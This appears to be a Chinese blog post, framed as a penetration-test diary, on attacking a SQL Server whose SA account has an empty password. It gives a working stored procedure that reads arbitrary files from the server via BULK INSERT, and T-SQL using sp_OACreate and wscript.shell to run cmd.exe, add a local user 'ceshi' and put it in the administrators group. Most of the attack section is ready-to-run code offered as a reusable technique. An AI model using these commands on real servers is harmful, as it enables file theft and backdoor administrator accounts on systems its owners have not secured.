SQL Server SA空口令的渗透测试日记
2008-05-29 09:55:22 来源:WEB开发网前几天朋友找我,让我帮忙测试一下他们的服务器,经过扫描后发现SQLServer的SA为空,决定利用这个漏洞做渗透测试。经过测试发现存储过程Xp_cmdshell以及读取注册表系列的存储过程都被删除了,并且Xplog70.dll也被删除,所以无法执行CMD命令和克隆管理员帐号了,看样子是经过安全配置的,这种情况据我当时掌握的知识是没办法入侵的。以前也遇到过类似的机器,所以决定利用几天的时间解决这个问题。
经过两天的查阅资料和测试,实现了不需要使用任何SQLServer自带的存储过程就可以从目标机上得到txt、asp等类型文件的内容(前提是知道SA密码或者SA密码为空),实现过程就是自己建立一个临时表,然后将文件读到表中,再用SELECT语句得到返回值,即文件的内容。我们可以在查询分析器里先写入一个存储过程,然后执行,在需要的时候只要调用该存储过程即可:
Create proc sp_readTextFile @filename sysname
as
begin
set nocount on
Create table #tempfile (line varchar(8000))
exec ('bulk insert #tempfile from "' + @filename + '"')
select * from #tempfile
drop table #tempfile
End
go
这样我们只要执行类似下面的语句就可以得到指定路径下文件的内容:
exec sp_readTextFile 'c:aaa.asp'
实现这个功能后,本打算通过读取朋友服务器上网站的asp代码,做进一步的入侵,可是后来发现,因为不知道网站asp文件的绝对路径,所以这个功能根本用不上,只好作罢,另找其他方法。在这之后的几天时间里,我想到了使用安全文章经常提到OLE相关的一系列存储过程,这一系列的存储过程同Xp_cmdshell以及读取注册表系列的存储过程一样危险,但是其使用方法不象那些存储过程在网络上和书上介绍的那样多,这系列的存储过程有sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop,下面我讲一下通过查阅资料得到的使用方法:
打开查询分析器,然后使用SA与目标机连接上,在查询分析器里执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net user
ceshi 1 /add'--
这样对方系统增加了一个用户名为ceshi,密码为1的用户,再执行:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC
SP_OAMETHOD @shell,'run',null, 'c:WINNTsystem32cmd.exe /c net localgroup
administrators ceshi /add '--
用户ceshi,被加入管理员组。
总结:通过这次渗透测试,又学到了一种利用存储过程控制SA为空的SQLServer服务器的方法。
- ››SQL Server 2008 R2 下如何清理数据库日志文件
- ››sqlite 存取中文的解决方法
- ››SQL2005、2008、2000 清空删除日志
- ››SQL Server 2005和SQL Server 2000数据的相互导入...
- ››sql server 2008 在安装了活动目录以后无法启动服...
- ››sqlserver 每30分自动生成一次
- ››sqlite 数据库 对 BOOL型 数据的插入处理正确用法...
- ››sql server自动生成批量执行SQL脚本的批处理
- ››sql server 2008亿万数据性能优化
- ››SQL Server 2008清空数据库日志方法
- ››sqlserver安装和简单的使用
- ››SQL Sever 2008 R2 数据库管理
更多精彩
赞助商链接